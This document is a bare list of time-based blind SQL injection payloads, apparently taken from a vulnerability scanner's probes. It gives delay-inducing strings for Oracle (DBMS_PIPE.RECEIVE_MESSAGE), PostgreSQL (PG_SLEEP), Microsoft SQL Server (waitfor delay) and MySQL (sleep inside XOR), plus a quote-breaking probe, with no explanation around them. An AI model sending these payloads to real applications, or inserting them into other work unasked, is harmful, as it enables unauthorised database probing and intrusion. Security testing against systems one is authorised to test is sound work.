555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'"

555-1)) OR 285=(SELECT 285 FROM PG_SLEEP(15))--

555-1; waitfor delay '0:0:15' --

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z